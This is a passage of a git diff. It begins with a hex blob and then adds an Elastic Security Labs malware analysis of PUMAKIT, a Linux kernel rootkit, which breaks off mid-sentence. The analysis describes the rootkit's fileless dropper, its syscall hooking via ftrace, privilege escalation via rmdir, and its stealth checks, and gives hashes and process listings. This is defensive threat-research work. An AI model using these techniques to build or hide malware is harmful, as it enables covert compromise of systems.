04ba44feab7eaa017967d562d52eef9890902bdda1ccbfcae4d7ae83a4f9c80feb43a9dab2a4177f93208fe8e7b5bbc52758aa2c78a7413c1f644cffadd255ac32032d3071e6d3f201ebc68bed6feaf9eb3dcc6868d48841d02d4f22a3bfd848995f9860b5a9ae88a9b5f915394935a7fb1a482c539468d1fa06dfedbeee6e1a2ab0e8418304d77debd6c71160067788efaa68a52257aff5e4b1dbd6565af2d96287b5df0adc9b102dc3c6266d78d52504b248c9c9d55521ac19b72edd70a7c9709d175f158f98c50edc13559bb7e1bf0f47db26e8225cc4ca6288e6f4d6788580fb529ed304940aebdd2bb3489166ba5639fe0fe523f31307fccf766388f09992e52611d491986d2fd06a44fceefd921b7b653e7bb435cd0897b8182a531504f9882ceb9653835ce69fdb7a5342cb962ca46a9f45ccecff128b115fa13c55f5039a6d63f3c26cf59e09005c7ff83a5d6f9c3ba28de8f7d0689bf890f171e1a417d183c6561e47db1bca9eb5dc25bea022a588b1ca1be52e3e10197f892e1fc6fef3bd1def2774520f554e7afcf4e939430596454b7ff555c394c09fbcc124d3cf6df3837376ebfec4b109faa7618b2a953aa20a89b42fca33d4dd263339e3c44b1eb62b4742406ca2468a38e886875014e72c82a2e72ee7dee93b2b31ab1d57fcaf69bd3014ea674bc69499a766bd32ce55f2961b5a7038f2f7391fc7a135f26f9897f16c478ceff00983362530da7ce7ddab303c80fa1412850523c2a4a619d8117f97dedf48e2d836ad91f5f997689dbb24bd9757fb990c0d8441c96538e49da8027ab143852ba4e4b53731bfc3e400aff840fc475cb5eed7cb76847d8ea63ac959e9281e68fa22be3939c01747d0b826f02eda8c553f68da078176b560a3d0ba74e37fd083f193a060f7c9e0fa8600d2a377f2a3aa686535fc71058113541b1c4d2c77b41e2a84f0211e759c1e9df506cfa48ca2076037042f139cf271f66dee1b94c309f4f10c1247defae0e02029ebde508cfd02c4b10ed6b136c19e4786e388b2ed7775fa6ac823df9e94571196b5ec65b0dabeef78bd23268d1b67ba689ed50179dfc573c1e0395e8e0a77414d6ac7729204adca59bcd3b3b3ef17b27be401f88e8caee37056a0a2ec9f9609437e88ad24e962de21060743765ab29f360949787404ad1194909f0de69e17acab36e011912ae50c67549e9a13f4344ff618c28531cbfdc81655812c1cf35c8db5723d1b89036c8a53cff591c92d1567137a4572dc7f0cde4386a54e4fdbfd302210582a8b9f46d9a3fe83fe7b6f81195e7c4fd97fe0aab520d0708b2f58b2df23e8e921832726f34e5750c9f5d6a4878b58abd4331e66e8bbdb3e674a173d3ece5f7952fbc2722c3392a2e48079ade4bc484a8203196e0dd5c2ece8f358ce42e04ebbd4defbca3abb97eec45e41f1d5d0cd954c5e41ad567221570829d64ee40ac0b09319463dab18a41298a8cf9131620bab29fafbd4ea2799844ce1cf64fd2fcf72dbb717878207e5e7f28abed2fea4aec9d77a2983726e9b7ee416249d1f6ad4013e9522b77f7fe608336610271843a0b17c70edd55b2b21da259c1d2d95de7698ecc0b6c34a99a992e2eb5483c76c5fb73a4178c6934e786df55756bdf97a3a99231a2c0a4168661712101d849678865cdcf0616ef0858e4e74d600e59aee32cbeaef62c0ce18e22c5ffd7e16fa5bcc7e933360dee9570c1949ac9049336113d6b86177d6e4b21dd99a4bc72411278415e12b464da7380e3be139da197f814acea39d7f3c1e269c537d79d6b7ae2fb1b3674498dae36160da1e3bad0232dee31d700a5edc8336f4c0d415fd2b733e03963834b7a12ee0df3a60b5e57b77119a870c5ec509c62d836a55c7ede2a6baf308e1e19c50d615e719d486c16ca146bb35d23da27f58b27dcf2bcfb820334ad1c071b78744b7f2b36a4acd78cbb980536dcfc8c727f1837ce32e24406d8737b552ac8311d37bff744bc3b2fbf096334e6a762e7f8f2148227da1f897eeb730b667fe0dcfa90bed484de98354ca4f43e0f168ec43bb8f8e925a4b5994916b53b873499d0ccfc632a4c2c0b2a12bc1156504fb2b9e81318617e927c69fa709227f19efb417d17a9fb8bb9b04571776d8c63e5af9752f3934941cb4d531142cbc57a08de3e9be892357bde7ef056ecc9d45dd723b972ad1d2fd282b83bc7585466d68e83cc44cc6a392c50ed174873e3ed76c426ff0028d7a42df02312b2f9dfad596389deee48511c17aaac37574c9953ae576d467f9d3f809bdb178da9118842dc548ecd33e6bfdd14cfc828a2813f4ba6b2ced018237ea5b8488bc1b60981591cb35753d36501b708d43ba0beafbe80d1ac6127d9ab9de28db49c2cd62fa773c6976858bd8072c5223bd7cfcc5d874195ba508494e60b6e7b8b0b816796789c26ebe95b9d3bcea8a26bc546d86331549a4152fd578c11444e7ca97a920b0a46ce39b2e92891621bb895d2c9b3ac7b739e060b9b0755379a9a0e3ca1cf8e3b3e18db48c508bfed87610523abea24b29da8b1662cc154e533e6bad08d8af6bb03e2dc6f54f2e6e504adf3beadf0c70716a42a700072f63501b7a77be46d4eb07180742e99d22c38cf92b409d728acffe83efc6acd4ab32872d4c34ddcea69ca803492705c9cce654cd995330576a9cdcf042cf71d833d1040ff9e67505c8847f7b99bebd7c7784a748d3ccd13102b675d3fb6366a7718395127655fc42110159eec06a075f812321766abe982f5308fef3c489f6abc4424a0cb08b78504a4c6b7c6118cb10f18a3a397f8954124c103e847d4fb05fb9636aba553bd6b00f205094193436130beea78c7cd2e1f444d8259761c7a7efe231283e47192dc38f2c1bc1529a1e119b659b32282a886333882593fbd5b9962ee54a1f802c3b4bf5489f401258097d6ffba538f24cf1854dfc19864c2b5fd2afbbf286635bec4d2b705d9ee9f2bc87d6bc651e2e5c38669702d9820d45208f3dcf2433e52923d60fdf69caa4cc3623be935568cf356f98e71266479a204100260a1bc129338f6164016115253f0e8679537f2406222af8ced18804ef1534d181d00d126fc97dafb400370c970968d496f94a1b6f8c6e5b43b2dcf85d4df69ee5b34a5837f397d4f1bf8d8a644cef74ab0302dd6dd36d54b47a5bf5dda363075e93ec7b4e69c2e771b2918d2631d07afba44a1da5da38ecf883bea571ef849bfccc64fa26211f9ae77bda6917b4fb0f07afc739536835fe998e89c5463075209f18cb375cc3cc089c1e14954693e641aea267a950c1c4c457a3330c025d1444918e21ec32ef550ef4d30843d01cf7c9787c7f2bb319b649e08e7fc65eab90fb65b475d385a9d54e98f94d138e3eba4bf20f271b2687c34494940335c0c9ba33161f130c995198d2387973420bc05a505800e037efca6f559796ec641a8ddbb60182d9563ce3eb4ef89a18144de3fd4015f4334ec0b673b69e0f1b27b9c7cfcbb011a994fff2943ace4afff525c4be75d9ea0fe1ac6af8399384ffd91deb86f41d6fb44d8987b0e1ec06d3166258f394609d59e4b94b158218365d015e31e0835cdb3e7c15298e7e033ae4a80a056eeae3e9298dbf99adb900c0a3cea7f9b76f63240d3d9d494254b96336f2fb7eeba26d45d7bda400d40f62dca5716ee54e9026615b8a60fc709119e294e77d0667ad493a300a7a1111614de2e17575ee1541de6030e7d9e974eb4bce0ecc190151b3a5df565f982a977e858a326209c68e854e86b11c73ce1e5227a4b230a1072e6a2ebeef2c48136613496d5886404c783aeac9a824ed10c04073324c245b679c7382f6d4699c000f630bd2ac88c8e4815988567966edc3d4854e6710fcdb1075240c56160f26d47f0a952d7b32fac07814052d9522344353b0175b2faa76a7bbbb1fb3658cdf84f09d635f3a359bba029c239f7d58f7c8443e50861b021093f1968ce65db655db46a214797fb3162c13fd628fbcc415640df7632695ea18fb44d5d783743cadc304e5b35a3f5131e3d90d24dc7d9d38da9b5d5cded56149f781cdcd1af7bba341b25890413ef00265ee6d3a19bf4f86f15f18826440641d056a9e7771e95e50bdbbc777c523efcf0daa75e6e5f42a294c337d638fdaf1cafd6d39e1df0a5e68ddd1cab9b5417f18dac189e1a8dfa2b32eca7ba9f273460e968c70fb23a5ad88bd4cec9b1d953aaab1f0e99d1c902cd93d7dd2fbaf74184b083cfe38c6890ac1735a8b4a7c75d58476084096c9c2d62b4ce1ae245bef948fe94a723f5eeec74932b2bb560892ac0acc9854e7ced7e82f3faa764a2effaa846f1687193d2de84bf4cfc8bac04fdf38204dcde0d0fcaf28c95663a5b6309a538218c2de7f98affc35a944ee0d389185dd6a9d58dc2ae033499a63295385dfcbc3aeb5ddb950f62805e062df63e1d3763d300bd0a47dab557911b230c31f173ad3828667c93628fe4ccf6b0862c37908aa7698a51422e16feedf272022a5d5ec40e9ffad64ae3889480da6b879a0279badd26f9a7285cbe970f015382853386e9ea9ae89f4b2934e31897ea2be3e9455098ed92f03d1efc0a8ff2af2616255b01f8758085fce33bbc4023351e48b1812e11f893a325b7fba598b09a039e9284569702308b84d540ef2d9bac6db65279b26d0f5f8b896d8dd3eb74baa7d3e3a917bf2834c91332b1b40eb55d0b0c2357d15ff2023fea9ab1c15c735711866a30040b816e37fe0dd956173c807bc8726b775258b4d8db87cce149dffa12573301f5ebceeeb01c4f3950eb52c226ba98914d9e1e509c4f9548c7d3a13ce70dd306eda84d9b524464bc00f0259dd4ed73f82842cf1b84349b482eff43f63e132bf357ae14559326d6d78ad31893078da972c1ff951ba22b984f80a9004b32efac4b3609added0e80c8d38696707186ac139a8d5d25c05b87deaa913c2fa1e4862ac75e58ec9952aab1bf70acf8857bebbbd0d797b61f34715fb9b4ba5be7f5c810d30082852f4982f893c67200b77bbeb4aef4e691e2b28a5d53eb80c73b31d8c7365add7b44e4e112ad86968fb584f49f219b939272fa6ec132a44145e2f53d67bd94419122d57a839a3a24438462b22613c5673fa63479cd1078dc07c3e2aa670d727757ceb695cc45089d267627499ee1a384cf6b25ce46cdebaf11ce4eb2a84e9372ed06eddb6a186a8663dc8a6e810b1f367482eaec5a7d053c9430ceeb405369befb05cc87ae92999015b3685c17f2d4ceb5058e75ea26dc3f921d98e4ba320d7b7ca0e0900b5a8ccfd48fa197cd889d1944a3c855413ff9fd1b8d3d3a755176bb243aeefdefbd448520ebb34e7e3df04e224ffefba4b0140ccac1a2c3a1507506987e970a0dd1da46592e8adf652235669e0608d5d5278f31a5290be9c0c9c238b8fb1178b3bf11df7a0f5f18caeb2620ccbdd230c12737dda3b136fcd8292b9d9776d2051e2b8a989aab5352491816e6d03609e1f98725f710769815b56a5a15bcf275f8a20919863aa89a1573be1dc6e66784a748d3ccd13102b675d3fb6366a7704f5f370f8ccb0a1f21663ec40e5ae60337c98c55a4cd517561922f68992f57a48c3e0e21c39768a55dae26b6e4286a7af3b49da9b91569b8881b84d4af7bd0bc205da657debfcd9ebcd5836376ea77439855e2b00eec5c1ec0ff0da4a1d07b14e1ac0953570c5fec8f36f66c42202b99e71e58c4c02903b4f4550ec39f5bf777fad20711f68a0e851c7478010010388a72f8890a5238e2c660560cdfe887748e6bb2c380d9453459686f5937ce500ffc1a49b48f8295696165f86e7754e1ee71c3929190cb5dfcf679b796f0901d75e6c3999fc13f2b4a1e5ce0346ccf17f4f425e82f57b3344eddbd703166a40b34a0daaee4b58107916434c1e9fbaebd0b23c2ff159cfa60231cac9ef53c1cfaf0e3848dac3c950f183bf7db870ef763c71ace2050a1de0daea25d8c2d27baabbe10b01078c69e9a2dfb529b1c380d88e53c946a4b3bf56f62aee7c5cb052d7bb5365f106de5b80e6b4922f7a3f5517e318be4ff9ec560ce8af51bc5539cec1922b63908332c0c7af0ba1df471a02c1c997591137cfd5098aa7f330c429b175f2f7fd3d3b8a1184181fcb2a18e14ae7fed12fe2733f605d7c160b0e685f3a02f9a176621c0a180b0e8f2a8187717da627539f6ccafe0643f8797f75f0666933f49d2f8f5d9d7c77295dcc9c0525badbbb4b22a8d96d7dd6b5acb2d7aaaf55fcefacee94673dc6e9f9ff1224e653c0408c369a5ae5b7d023963798380d645d56736cf8df8bbc143dfc3bbcefdaa3e02db2c5017ea01241f9f0413a06124479d127cfdf20260e45bcb0f256f7da76c5b5a4dba6930c7d9b5b009485914457d3b47899798e65f241c354c021a38b2bff554a7815e33cc360a0f80d88fdef259e7ffc8696e7bcbb76db96136ccca3f4908b9f955331067ca6f32f6166e6bc734c79c5a94be3f0413c0625b5312e31f57fcc246e99fe06d17e8f842898426a83a0271f1a4effff1ae8b4e8dd4da2c6b22ea1b46c94f4bc2bd1a2603498cca9d10f69699ed985206902f94e1762605393a779dbe6dda5ccf66df6e51dae86ac4136644bd4e37ba14dc4e1132799e30521bca4dfa464dc812ed9253d7caab0fdff3ad80fb00028dc279b6b682491dbdd248301679989ad47009c2a8a7d8f608dc7cfa043b43a9ab3d2baede5d4011c1d64260a9ebfb0bf1307b4773c11e15d1f40d36b04fb4b8564bf2f6b2b9a995f22b7ad4e575a81d2a50a18f089fe0ef75d1a17758848b9844b0b013c4f7706aebb32b789edd98e31e73db949ffe7caa98027aaecb9d2306715f2a4e4b1dbc06ad578e64a41e7e7e0d77acdd7631d6634172728608f27f1f700f2d8a30810c0b9ec242bffe5f67daed90d8fa855bf07b9a0f5590c035172e35fdba82db72c945926d498b650446c71c4a3fc5c542a90b495407fee1a8dd9f4833a10dd00aced8be3c1dae02e64d88108b417e338f74c2113e3d137bc706b0a5072983b415678a74482e7d7216a79034f057449c7daccf1434bc46b8e463faa95bdddde15d1f3954346050d6853c19126d1e0d92af61ac5fa7c3c69e3d3d0ac90005099c515ce683c6ebc0a4cf36aa6e3c8a9ba85763dd7616048767edd4aa1b295e75e59262a629065eb581e2766207723da4a2484e59a8d883ad47465ec3eaf37e3d559f1553ef21139fc9b5f9d1fea2fcf8d982732dfdb02c8db7abdb5265e769f510a596e99ffb70b832c1df760b9b69ff8c694121e7102a5b8fc93883df0cee13bb9689c52e0c271c2363d11d007c974eab71ef5a316094b0a683581fd9b2fedaa0221debf29d5bc76e90fb52f0f710e9f2c2b3bd585bf69552c7e3ee50137efdd7fd137e7c434b9bbe4ca44df6d082d53ec57299489d54a1994da86fdf91b512e2c98528f4d0e8bcf886b48d98a5d1dcf01181f042ad875e225d767b3ebe55217612a1206311e6cd9fa90b86b77a29442b18b83e39fb09bc8e14c243cb52c5375910c96abba0d03e140fc62ff9f37b8990f681f5f0c786d0e73db12b1810a1ae16b12ee9242559fad5fbe9d96213990a6f859d7433a4af0237f5f95f1557c714fa458dc4d2b514719fdccd440f64a6ac6f12c565a33995f09d15f8fb02188372d0d08f5d23a8341ec52992561371591707e4717cc52fbf9868f17071cba9d32ae40dcdb6546fc0895987120af7a2258f3dcb4212a67a83eae6d13807c99de0f48a4a0d464c90964b91c496fe5f47d5c2975e9d529f0b5269668d9dd55fca81f835fe321e89e2e753dc11b99739aa0a1639e7e7266e2fbdc4ea6d6c6ad9be73208a5ad027ce1f9b61f679e7f2cf4d4cfe0d1c86421b34c864552a0d375e84cc09244ee0b2ab67bd3fbefd32798899b6d85c3211b1c411866eefbd2a72bb1b09d8a8be3019f0931814eccc4c11e93da5f23468fd11b4431000aa2b784fed79b57d5ead4524919ead591a5a0d71339a180b58b4e27beb0ee95ce0a3930e1e9df8d4849cd865f1c7154c73d6300b259b04dd2010f4dec0d242d9bc70e5e6214f57f2921d3d6ff4c78a9a1406f57a9f1a664dc140ca052691832bdc4cd75c22abf8639c8678b06f85613b7f2ea8cae276b27533e1fcd8ca2eaa1d8b0600d4bf327cb945e92f0f24bfb236be82ef6eee0a63200b06ef7b94670f5d759fe910b90777ee420557cd42b89a48e4dcc10a388294e700bcc04f04c0ae6f35865f1ae74938946c312f87fef2beac11e3deb63449090fab960362167a38b5211d0f792a9eaeb0db811c751156725bcc1fa8296c8950d46b0acd55ed8c082f26273683818786893e06a4fdeb13f07239f36991df47bbbe9ccdc21c7f3807560b4cb911ec5627b63f188aa2dbd674ed4b5c20bc4f6af12bec016a9c07c126ec57ee14a9e3b47a4ca6f6615ae2cf73ccc03b215d4d93313b4ebe787bf5f9e96c7a9e0a2cae827f30e8102f5c2d8a3b3c33eac4dae8b9a8cc42912729c2d912f7fb03f844514e9d412edfdccc7929cf5fa467854d111b47b437fb6dee272672016d159d605f60397a92da26e656eab514976e3657a6e0033fef79a56e1f771c7f0e96471c00740b6cf2a1094db5120868e0143857af49dc0bd72fda588d90a36405f8f12fdd5e77d3f58e636d0cb07084eac9bdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a508df2e4cf1e069bbc658cde412f2eccf65522c1c0d78b8feebb01166e13c9ec99ed15b36372ae2ca55bd84e5f19ebc27a2faca0cd9032f62aca16c75e863ae8303901b24a08b89a714b957965813456947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c8c19c47fb2e7925736586b1fc2f15ee49e55307fc5d807707d29b11e65db82d254d06604edbf76c5df898f1d45f2f1ea947d4a0c65a5e62ba244ee7270be1a2c7e1142336c1f360b5115f86470f426d324c3966a520c0342c10cf9625d61a996d459be0066b1f1fcce6c6c7485a22c36f0a969c9820c7e5555a8b496671cab86113f0ded051f894851928ac040d2850e25b9275b6cc70d7124cde76f314f1d92510858d02f0b07bfd0232c27efe1b6fb656e7d9808f0dfb1782590ea114dc5634e184539729829f78f68d39c7178c5beba4cc3bfbab3dd731730ced6a4c860b9fb9e5b699169972f1c8a1f11a015a4f78fe46fb3d2e006593d00c3559a5328cbc8cd23cc796cd1046995225a5c0e04ef5dded05d2658fce6e5373915ec41f17025b9275b6cc70d7124cde76f314f1d92f17823cfcc14db90d1bfdd558aabe30f3f02b7272291942b460d87b4c20b338b0189a381dd4fc989cf32624216d1cf3423b55c5765c686f4f19a7211d0950c3568e0364b4899218d8d3a6aae0e0fa258b1d37635ddc9605551407b5e86f9f8ba445452561655071d4bed81c20ec19b1a458722a5b1ddd1d364e4ac46d889df3a25b9275b6cc70d7124cde76f314f1d920cba8b0188445e3007a38f49a6ebf6c1dcddb7c87db7980c66d99f611e69f07df4acc344aaac784ade3f9f4210b1a4c9095f5e0689c64b870b75d6fe76f73323e9202f88b0d71145a25da7c49389fa105a6dc397c133ce7458dbc8b73df2d27d741139071d5bd3302435a5208ba7a4417407282b48c389af309323c6e03803be25b9275b6cc70d7124cde76f314f1d92c8cb62f800d710fe4cd367d19daea0a61919ebf00c2c4362a01f2b0cb58daadd436f35f82de525961d67bf72e39b8ae2cb79e4c6165d59043c9bf38b7afe709b3001a4080a9f566d7d195ef68391f3333391cda343189fed18565dd0ded0830c008c4d69bc4be1f66faac6d89f1a2fbd845f21a2ac689113cc3fbd6b2be5862225b9275b6cc70d7124cde76f314f1d92fefce0836b4afdf3c762331b4141fffd656e7d9808f0dfb1782590ea114dc5630fc0c05e092f56efcceddfe33b1e9452b536aeab72dc0b20e3288037ddd27cd2522017cd31c6f95a7e545bb3e8413566bf251aa734ea12315cda0213445ba8f8e693b264770adbd1a49cdcc89e9f62bf85ab31d3c2e5b4a3f62ef9921f96031a25b9275b6cc70d7124cde76f314f1d922e2dd0acd1435ed238d82303bd5afb481919ebf00c2c4362a01f2b0cb58daadde0986f33d7d7b3894d5c5d119f93e5745b04d553ab695ccf56620a98915df0c785a65b2e0ec71aa90e8a2504ea85b96cef05e2840f21fdde0203ce009dc2d56e375f72abad477f3349afdb754bf7d234c06933df76143494aa0a1dc9b8253a8525b9275b6cc70d7124cde76f314f1d92380fb114d1349ef069a9b30bbda7d70794be3961d0bfb59607cab302f348c80dde3c3460fe53e50be08c2d6e3c7165bceb4554094ab5a849887883a5c5a0358ee449fffbd8906fc6b771b66cf86646015777ca6f1be61953d50484f86efa2c33778fe40467bda34f7900cc766ee6e61ed12fe1bbb67595e8c6f304749c7b0e1025b9275b6cc70d7124cde76f314f1d9255f324dbbe9686b365631acbed032ed71919ebf00c2c4362a01f2b0cb58daadddcc83eb1482ebafb12f159a67fecf89abec0ebea2af9053272fe03208f14a36275d6e760dc036e334888c0a39a7e5d26c0f0c7c67e5eb901625609d64a78c80edcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a7339633ae5ff75cb34ac351205dd612adcc83eb1482ebafb12f159a67fecf89a5fc5b57a10cd1c2c21449a055dc6cf3009d57c142048ec73527a971719722a3aad061bd8e877d2456b2771f87e6e0020d9ea626c8aa6b6cffed319bad517a829dac058934b10a4748d51f293ce32862fdcc83eb1482ebafb12f159a67fecf89a31295910c9f0eaa83e84a30dbcf06eb57b36c9f1abd98405490db86de2bc279adcc83eb1482ebafb12f159a67fecf89a7c59030ec6cc09786a1815f021e7cc8e28f737a73c4f5b9f3400233590abbc7d896a3efea879709dc2921e563948fe0249753dc1d70435a9471a5d921f23b59adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9a35dc89a932614fc89885110a0d54814ef7cc7ce9c746fa8b955366927cb30edcc83eb1482ebafb12f159a67fecf89a20d5883b9916f027ba032103dc3afaeb7c41a63ce0d92e653af7e6cb7c98e7ea941ed4a02e4bfa79384a05f80f25d86f6e16285fe8518ba75bba2519b42ea04ddc110d64927b7ea42e668d472e15df3bab14f6c155976da4f0ef3a6e965ed939dee4bc7439b949f3728165abcdde27c708e866f10367c97011143f7c574a6c85905ef1b28c2cef8ca0b03e562bc1551ac2f192c4aca85bca573ebc013e82988f8431f97c74c6fdaee9c122920fccfb137f4b49a5aa170709ba78f988272bf3bbfa02ba146df01bf170eb241be295a2adfb7669bcd6a6147d668bf0e6628ed7b21bc17b1ca1531bed8c89a540a3c790f9b7abbf86161683f207423c3aa4436af589ae2a35a38d17b0a69ffef33fb4c0cbf9353ec00a4c921d1bc281f312b4440ea6c39135a019456ebe78268bf02ff1cd2a14cf7d2f4ef7c9eafbcb2e14f890a29e932c03eb8429e06c583252fecee80b458d5efaea3ef2869d0623c45e3b445d4d58d7ccbe46b034e290ed249e4f9e431d831871603ea7e94d1ffa8e81b88eea8b81153632911a7bf10593a96192c464498548b184873451e16bd38cf53b4f37866fd94b5c3dbd8200044704150b89f837129f34b1b1ada7fb1dbadc365a109aa8d194f36cdd478dd53b3f51c071dcb6c21e87a14afde232f4124b5efe3613a4142730a8804cac9a2fddc92d5a91bd268c333a149d93febaacd45f7482bdad7f3d778b73f3cc6f9b324bc532ef1690e2658bea391e5a2a3a9331863feae471a78dfc0d530c859015fec9959ade16aaa8 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/declawing_pumakit.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/declawing_pumakit.md new file mode 100644 index 0000000000000..a3d49fbbf96b3 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/declawing_pumakit.md @@ -0,0 +1,598 @@ +--- +title: "Declawing PUMAKIT" +slug: "declawing-pumakit" +date: "2024-12-12" +description: "PUMAKIT is a sophisticated loadable kernel module (LKM) rootkit that employs advanced stealth mechanisms to hide its presence and maintain communication with command-and-control servers." +author: + - slug: remco-sprooten + - slug: ruben-groenewoud +image: "pumakit.jpg" +category: + - slug: malware-analysis +tags: + - PUMAKIT + - linux + - loadable kernel module + - lkm + - malware + - rootkit +--- + +## PUMAKIT at a glance + +PUMAKIT is a sophisticated piece of malware, initially uncovered during routine threat hunting on VirusTotal and named after developer-embedded strings found within its binary. Its multi-stage architecture consists of a dropper (`cron`), two memory-resident executables (`/memfd:tgt` and `/memfd:wpn`), an LKM rootkit module, and a shared object (SO) userland rootkit. + +The rootkit component, referenced by the malware authors as “PUMA", employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. Through its staged deployment, the LKM rootkit ensures it only activates when specific conditions, such as secure boot checks or kernel symbol availability, are met. These conditions are verified by scanning the Linux kernel, and all necessary files are embedded as ELF binaries within the dropper. + +Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers. + +## Key takeaways + +* **Multi-Stage Architecture**: The malware combines a dropper, two memory-resident executables, an LKM rootkit, and an SO userland rootkit, activating only under specific conditions. +* **Advanced Stealth Mechanisms**: Hooks 18 syscalls and several kernel functions using `ftrace()` to hide files, directories, and the rootkit itself, while evading debugging attempts. +* **Unique Privilege Escalation**: Utilizes unconventional hooking methods like the `rmdir()` syscall for escalating privileges and interacting with the rootkit. +* **Critical Functionalities**: Includes privilege escalation, C2 communication, anti-debugging, and system manipulation to maintain persistence and control. + +## PUMAKIT Discovery + +During routine threat hunting on VirusTotal, we came across an intriguing binary named [cron](https://www.virustotal.com/gui/file/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f). The binary was first uploaded on September 4, 2024, with 0 detections, raising suspicions about its potential stealthiness. Upon further examination, we discovered another related artifact, `/memfd:wpn (deleted)`[71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24](https://www.virustotal.com/gui/file/71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24), uploaded on the same day, also with 0 detections. + +![VirusTotal Hunting](/assets/images/declawing-pumakit/image13.png) + +What caught our attention were the distinct strings embedded in these binaries, hinting at potential manipulation of the `vmlinuz` kernel package in `/boot/`. This prompted a deeper analysis of the samples, leading to interesting findings about their behavior and purpose. + +## PUMAKIT code analysis + +PUMAKIT, named after its embedded LKM rootkit module (named "PUMA" by the malware authors) and Kitsune, the SO userland rootkit, employs a multi-stage architecture, starting with a dropper that initiates an execution chain. The process begins with the `cron` binary, which creates two memory-resident executables: `/memfd:tgt (deleted)` and `/memfd:wpn (deleted)`. While `/memfd:tgt` serves as a benign Cron binary, `/memfd:wpn` acts as a rootkit loader. The loader is responsible for evaluating system conditions, executing a temporary script (`/tmp/script.sh`), and ultimately deploying the LKM rootkit. The LKM rootkit contains an embedded SO file - Kitsune - to interact with the rootkit from userspace. This execution chain is displayed below. + +![PUMAKIT infection chain](/assets/images/declawing-pumakit/image10.png "PUMAKIT infection chain") + +This structured design enables PUMAKIT to execute its payload only when specific criteria are met, ensuring stealth and reducing the likelihood of detection. Each stage of the process is meticulously crafted to hide its presence, leveraging memory-resident files and precise checks on the target environment. + +In this section, we will dive deeper into the code analysis for the different stages, exploring its components and their role in enabling this sophisticated multi-stage malware. + +### Stage 1: Cron overview + +The `cron` binary acts as a dropper. The function below serves as the main logic handler in a PUMAKIT malware sample. Its primary goals are: + +1. Check command-line arguments for a specific keyword (`"Huinder"`). +2. If not found, embed and run hidden payloads entirely from memory without dropping them into the filesystem. +3. If found, handle specific “extraction” arguments to dump its embedded components to disk and then gracefully exit. + +In short, the malware tries to remain stealthy. If run usually (without a particular argument), it executes hidden ELF binaries without leaving traces on disk, possibly masquerading as a legitimate process (like `cron`). + +![The main function of the initial dropper](/assets/images/declawing-pumakit/image14.png "The main function of the initial dropper") + +If the string `Huinder` isn’t found among the arguments, the code inside `if (!argv_)` executes: + +`writeToMemfd(...)`: This is a hallmark of fileless execution. `memfd_create` allows the binary to exist entirely in memory. The malware writes its embedded payloads (`tgtElfp` and `wpnElfp`) into anonymous file descriptors rather than dropping them onto disk. + +`fork()` and `execveat()`: The malware forks into a child and parent process. The child redirects its standard output and error to `/dev/null` to avoid leaving logs and then executes the “weapon” payload (`wpnElfp`) using `execveat()`. The parent waits for the child and then executes the “target” payload (`tgtElfp`). Both payloads are executed from memory, not from a file on disk, making detection and forensic analysis more difficult. + +The choice of `execveat()` is interesting—it’s a newer syscall that allows executing a program referred to by a file descriptor. This further supports the fileless nature of this malware’s execution. + +We have identified that the `tgt` file is a legitimate `cron` binary. It is loaded in memory and executed after the rootkit loader (`wpn`) is executed. + +After execution, the binary remains active on the host. + +``` bash +> ps aux +root 2138 ./30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f +``` + +Below is a listing of the file descriptors for this process. These file descriptors show the memory-resident files created by the dropper. + +``` bash +root@debian11-rg:/tmp# ls -lah /proc/2138/fd +total 0 +dr-x------ 2 root root 0 Dec 6 09:57 . +dr-xr-xr-x 9 root root 0 Dec 6 09:57 .. +lr-x------ 1 root root 64 Dec 6 09:57 0 -> /dev/null +l-wx------ 1 root root 64 Dec 6 09:57 1 -> /dev/null +l-wx------ 1 root root 64 Dec 6 09:57 2 -> /dev/null +lrwx------ 1 root root 64 Dec 6 09:57 3 -> '/memfd:tgt (deleted)' +lrwx------ 1 root root 64 Dec 6 09:57 4 -> '/memfd:wpn (deleted)' +lrwx------ 1 root root 64 Dec 6 09:57 5 -> /run/crond.pid +lrwx------ 1 root root 64 Dec 6 09:57 6 -> 'socket:[20433]' +``` + +Following the references we can see the binaries that are loaded in the sample. We can simply copy the bytes into a new file for further analysis using the offset and sizes. + +![Embedded ELF binary](/assets/images/declawing-pumakit/image12.png "Embedded ELF binary") + +Upon extraction, we find the following two new files: + +* `Wpn`: `cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe` +* `Tgt`: `934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136` + +We now have the dumps of the two memory files. + +### Stage 2: Memory-resident executables overview + +Examining the [/memfd:tgt](https://www.virustotal.com/gui/file/934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136) ELF file, it is clear that this is the default Ubuntu Linux Cron binary. There appear to be no modifications to the binary. + +The [/memfd:wpn](https://www.virustotal.com/gui/file/cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe) file is more interesting, as it is the binary responsible for loading the the LKM rootkit. This rootkit loader attempts to hide itself by mimicking it as the `/usr/sbin/sshd` executable. It checks for particular prerequisites, such as whether secure boot is enabled and the required symbols are available, and if all conditions are met, it loads the kernel module rootkit. + +Looking at the execution in Kibana, we can see that the program checks whether secure boot is enabled by querying `dmesg`. If the correct conditions are met, a shell script called `script.sh` is dropped in the `/tmp` directory and executed. + +![Execution flow of the bash script and rootkit loader starting from 